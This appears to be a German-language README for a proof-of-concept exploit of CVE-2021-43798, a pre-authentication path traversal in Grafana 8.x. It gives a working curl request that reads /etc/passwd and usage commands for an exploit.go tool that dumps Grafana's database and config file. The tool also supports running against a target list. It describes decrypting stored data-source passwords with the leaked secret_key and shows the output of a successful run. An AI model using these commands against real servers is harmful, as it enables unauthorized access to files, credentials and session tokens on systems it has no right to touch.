
CVE-2021-43798 - Grafana 8.x Pfad-Traversal (Pre-Auth)
Grafana 8.x Path Traversal (Pre-Auth)
Alle Credits gehen an j0v und seinen Tweet https://twitter.com/j0v0x0/status/1466845212626542607
Dies dient ausschließlich zu Bildungszwecken. Ich bin nicht verantwortlich für deine Handlungen. Verwende es auf eigenes Risiko.
In gutem Glauben habe ich die Veröffentlichung dieses PoCs zurückgehalten, bis entweder diese Schwachstelle öffentlich bekannt oder ein Patch verfügbar ist.
Mir ist ein Tweet von j0v aufgefallen, in dem behauptet wurde, einen Grafana-Path-Traversal-Bug gefunden zu haben. Aus Neugier begann ich, den Grafana-Quellcode zu untersuchen. Im Tweet wurde erwähnt, dass es sich um einen Pre-Auth-Bug handele. Es gibt nur wenige öffentliche API-Endpunkte in Grafana, und nur einer davon akzeptiert einen Dateipfad vom Benutzer.
Grafana hat einen öffentlichen API-Endpunkt, /public/plugins/:pluginId, der es erlaubt, die Assets eines Plugins anzuzeigen. Dies funktioniert, indem man eine gültige :pluginId angibt und dann den Dateipfad, z. B. . Grafana versäumt es jedoch, den vom Benutzer bereitgestellten Dateipfad zu bereinigen, was zu einem Path Traversal führt.
img/logo.pngDas Verzeichnis, auf das zugegriffen wird, befindet sich unter <grafana>/public/app/plugins/panel/<pluginId>. Bei einer Standardinstallation von Grafana ist das Grafana-Datenverzeichnis /usr/share/grafana. Durch das Zurückgehen um 8 Verzeichnisse kann man das Wurzelverzeichnis des Dateisystems erreichen.
HTTP-Anfrage:
GET - http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
Fehlerhafter Code: https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284
Hinweis: Dies funktioniert nicht im Browser (der die ../ im Pfad automatisch zusammenfasst)
Es kann mit curl getestet werden, indem das Argument --path-as-is verwendet wird:
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
Dies sind einige Angriffe, die mit dieser Sicherheitslücke durchgeführt werden können
Grafana verwendet standardmäßig eine sqlite3-Datenbank. Diese wird unter /var/lib/grafana/grafana.db gespeichert. Mit dem Skript exploit.go kann diese Datenbank ausgelesen werden.
Beispiel:
go run exploit.go -target http://localhost:3000 -dump-database -output grafana.db
Anschließend kann diese Datenbank ausgelesen werden, um Benutzer, Authentifizierungstoken und Datenquellen zu erhalten.
Grafana speichert seine Konfiguration in einer Datei <grafana>/conf/defaults.ini. Hier gibt es einige interessante Werte wie secret_key, host, user, password, falls MySQL anstelle von sqlite3 verwendet wird.
Beispiel:
go run exploit.go -target http://localhost:3000 -dump-config -output defaults.ini
Grafana verschlüsselt alle Datenquellen-Passwörter mit AES-256-CBC unter Verwendung des secret_key aus der defaults.ini-Konfigurationsdatei. Wir können diese Konfigurationsdatei auslesen, wie oben gezeigt, und dann die Werte aus der Datenbank entschlüsseln.
Grafana speichert Sitzungstoken in der Tabelle auth_tokens. Ich habe es nicht geschafft, eine Sitzung zu übernehmen, aber wenn du den Quellcode liest, könntest du es herausfinden.
root@localhost:/# go run exploit.go -target http://localhost:3000 -file /etc/passwd
CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-Auth)
Made by Tay (https://github.com/taythebot)
[INFO] Exploiting target http://localhost:3000
[INFO] Successfully exploited target http://localhost:3000
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin
go run exploit.go -target <target> -file <path>
go run exploit.go -target <target> -file <path> -output <file>
Hinweis: Funktioniert nicht mit mehreren Zielen
go run exploit.go -list <list> -file <path>
go run exploit.go -target <target> -dump-config
go run exploit.go -target <target> -dump-database
make build